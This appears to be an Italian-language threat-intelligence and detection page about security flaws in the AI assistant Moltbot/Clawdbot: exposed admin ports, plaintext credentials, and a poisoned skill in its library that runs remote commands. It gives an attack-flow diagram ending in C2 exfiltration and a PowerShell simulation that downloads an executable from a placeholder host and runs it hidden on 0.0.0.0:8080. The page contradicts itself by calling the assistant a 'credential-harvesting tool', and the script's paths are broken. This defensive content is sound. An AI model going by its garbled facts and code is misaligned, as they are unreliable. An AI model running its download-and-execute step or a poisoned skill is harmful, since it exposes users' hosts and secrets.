L’Epidemia di Moltbot / ClawdBots
Detection stack
- AIDR
- Alert
- ETL
- Query
Riassunto
L’articolo segnala problemi di sicurezza intorno all’assistente personale AI prima chiamato Clawdbot e poi rinominato Moltbot. Moltbot opera tramite app di messaggistica come WhatsApp e Telegram, tuttavia molti impieghi sono raggiungibili da internet con autenticazione debole o assente. Scrive le credenziali degli utenti in file di testo in chiaro e la sua libreria di skill può essere compromessa, creando un’esposizione nella catena di approvvigionamento. Gli attori delle minacce potrebbero rubare segreti, esfiltrare codice sorgente e riutilizzare l’assistente come backdoor.
Indagine
I ricercatori hanno trovato centinaia di istanze di Moltbot che espongono porte admin non autenticate e configurazioni proxy non sicure. Un attacco di prova del concetto alla catena di approvvigionamento ha caricato una skill malevola nella libreria ClawdHub, dimostrando l’esecuzione di comandi remoti per gli utenti a valle. Gli analisti hanno anche osservato che i segreti sono conservati in file di testo semplice Markdown e JSON, rendendoli facili bersagli per infostealer comuni come RedLine, Lumma e Vidar.
Mitigazione
Gli operatori dovrebbero richiedere un’autenticazione forte per tutti i servizi Moltbot, chiudere o mettere sotto firewall le porte admin ed evitare di esporre l’assistente su internet. Abilitare la crittografia a riposo per i segreti memorizzati, sandbox o containerizzare i runtime e limitare l’accesso al filesystem. Verificare, firmare e bloccare tutte le skill prelevate dalla libreria e considerare di disabilitare la funzione skill se non può essere governata in modo sicuro.
Risposta
Allertare su porte admin aperte e tentativi di accesso non autenticati a Moltbot. Monitorare il processo AI per esecuzioni di comandi inaspettati e connessioni in uscita a domini C2 sconosciuti. Scansionare gli host per malware rubacredenziali e validare l’integrità dei file di configurazione memorizzati. Se viene confermato un compromesso, isolare il sistema, revocare le credenziali esposte e ridistribuire Moltbot con impostazioni rinforzate.
%% Class Definitions classDef technique fill:#ffcc99 classDef actor fill:#99ff99 classDef asset fill:#ccccff classDef process fill:#ff9999 %% Nodes actor_attacker[“<b>Attore</b>: Attaccante”] class actor_attacker actor asset_moltbot[“<b>Asset</b>: Istanza Moltbot<br/><b>Esposizione</b>: Porta di amministrazione accessibile senza autenticazione”] class asset_moltbot asset tech_external_remote[“<b>Tecnica</b> – T1133: Servizi Remoti Esterni<br/><b>Descrizione</b>: Utilizzo di servizi remoti pubblicamente esposti per ottenere l’accesso iniziale”] class tech_external_remote technique tech_exploit_remote[“<b>Tecnica</b> – T1210: Sfruttamento di Servizi Remoti<br/><b>Descrizione</b>: Sfruttamento di vulnerabilità o configurazioni errate nei servizi remoti per eseguire comandi”] class tech_exploit_remote technique tech_remote_access[“<b>Tecnica</b> – T1219: Strumenti di Accesso Remoto<br/><b>Descrizione</b>: Utilizzo di capacità di accesso remoto per eseguire ulteriori comandi sull’host compromesso”] class tech_remote_access technique tech_hijack_execution[“<b>Tecnica</b> – T1574: Hijacking del Flusso di Esecuzione<br/><b>Descrizione</b>: Manipolazione del flusso di esecuzione avvelenando componenti fidati come una libreria di skill”] class tech_hijack_execution technique asset_malicious_skill[“<b>Asset</b>: Skill Malevola<br/><b>Posizione</b>: Libreria di skill ClawHub”] class asset_malicious_skill asset tech_content_injection[“<b>Tecnica</b> – T1659: Iniezione di Contenuto<br/><b>Descrizione</b>: Iniezione di codice malevolo in contenuti legittimi che vengono successivamente eseguiti dalle vittime”] class tech_content_injection technique process_payload[“<b>Processo</b>: Payload Malevolo<br/><b>Azione</b>: Eseguito sugli host Moltbot delle vittime”] class process_payload process tech_credentials_files[“<b>Tecnica</b> – T1552.001: Credenziali nei File<br/><b>Descrizione</b>: Accesso a credenziali in chiaro memorizzate in file come JSON o Markdown”] class tech_credentials_files technique tech_system_services[“<b>Tecnica</b> – T1569: Servizi di Sistema<br/><b>Descrizione</b>: Registrazione di codice malevolo come servizio di sistema per persistenza ed esecuzione”] class tech_system_services technique asset_c2_server[“<b>Asset</b>: Server C2 dell’Attaccante<br/><b>Ruolo</b>: Riceve conferme di esecuzione e credenziali esfiltrate”] class asset_c2_server asset tech_exfiltration[“<b>Tecnica</b> – T1041: Esfiltrazione tramite Canale C2<br/><b>Descrizione</b>: Trasferimento dei dati rubati all’attaccante tramite il canale di comando e controllo stabilito”] class tech_exfiltration technique %% Connections actor_attacker –>|scopre| asset_moltbot asset_moltbot –>|consente| tech_external_remote tech_external_remote –>|porta a| tech_exploit_remote tech_exploit_remote –>|utilizza| tech_remote_access tech_remote_access –>|esegue| tech_hijack_execution tech_hijack_execution –>|avvelena| asset_malicious_skill asset_malicious_skill –>|inietta codice in| tech_content_injection tech_content_injection –>|consegna a| process_payload process_payload –>|legge| tech_credentials_files tech_credentials_files –>|fornisce dati per| tech_system_services tech_system_services –>|mantiene la persistenza ed esegue| process_payload process_payload –>|contatta| asset_c2_server asset_c2_server –>|riceve dati tramite| tech_exfiltration
Flusso di attacco
Rilevamenti
Tentativo di Installazione di Moltbot (precedentemente Clawdbot) (via proxy)
Visualizza
Tentativo di Installazione di Moltbot (precedentemente Clawdbot) (via file_event)
Visualizza
Tentativo di Installazione di Moltbot (precedentemente Clawdbot) (via dns)
Visualizza
Tentativo di Installazione di Moltbot (precedentemente Clawdbot) (via cmdline)
Visualizza
Rilevamento delle Istanze di Moltbot Esposte nel Web [Webserver]
Visualizza
Esecuzione Simulazione
Prerequisito: Il controllo pre-volo della Telemetria & Baseline deve essere superato.
-
Narrativa di Attacco & Comandi:
Il red team distribuisce Moltbot (uno strumento di raccolta credenziali pubblicamente disponibile) su un host Windows compromesso. Avviando Moltbot con la sua configurazione predefinita, apre una console admin HTTP non autenticata su porta 8080 che pubblicizza “esposto al web” nel suo banner. Questo crea eventi di connessione di rete che corrispondono alle stringhe letterali della regola di rilevamento. L’attaccante poi accede all’interfaccia utente da un IP esterno per verificare l’esposizione, generando così la telemetria richiesta.- Scarica Moltbot (simulato da un file zip segnaposto).
- Estrarre ed eseguire il binario con i flag predefiniti (
--listen 0.0.0.0:8080). - Emetti eventualmente un HTTP GET da un IP esterno (simulato via
Invoke-WebRequest).
-
Script di Test di Regressione:
# ---------------------------------------------------- # Simulazione di Esposizione Moltbot – PowerShell # ---------------------------------------------------- # 1. Creare una directory temporanea $tempDir = "$env:TEMPMoltbotSim" New-Item -ItemType Directory -Force -Path $tempDir | Out-Null # 2. Simulare il download di un eseguibile Moltbot (segnaposto) $molExe = "$tempDirmolbot.exe" Invoke-WebRequest -Uri "https://example.com/moltbot.exe" -OutFile $molExe -UseBasicParsing # 3. Eseguire Moltbot con impostazioni predefinite (esposte) $proc = Start-Process -FilePath $molExe ` -ArgumentList "--listen 0.0.0.0:8080" ` -PassThru ` -WindowStyle Hidden Write-Host "[+] Moltbot avviato (PID: $($proc.Id)) in ascolto su 0.0.0.0:8080" # 4. Attendere un breve periodo per permettere alla servizio di registrarsi nei log Start-Sleep -Seconds 5 # 5. Simulare una connessione esterna per generare traffico di rete Try { Invoke-WebRequest -Uri "http://$($env:COMPUTERNAME):8080" -UseBasicParsing -TimeoutSec 5 Write-Host "[+] Richiesta HTTP esterna inviata all'UI di Moltbot." } Catch { Write-Warning "[-] Impossibile raggiungere l'UI di Moltbot (potrebbe essere bloccata dal firewall)." } # 6. Mantenere il processo attivo per ulteriori logging (facoltativo) Start-Sleep -Seconds 20 # 7. Pulizia – fermare Moltbot Stop-Process -Id $proc.Id -Force Remove-Item -Recurse -Force $tempDir Write-Host "[+] Simulazione Moltbot completata e pulita." -
Comandi di Pulizia:
# Terminare forzatamente eventuali processi Moltbot residui ed eliminare i file temporanei Get-Process -Name "molbot" -ErrorAction SilentlyContinue | Stop-Process -Force Remove-Item -Path "$env:TEMPMoltbotSim" -Recurse -Force -ErrorAction SilentlyContinue Write-Host "Pulizia completata."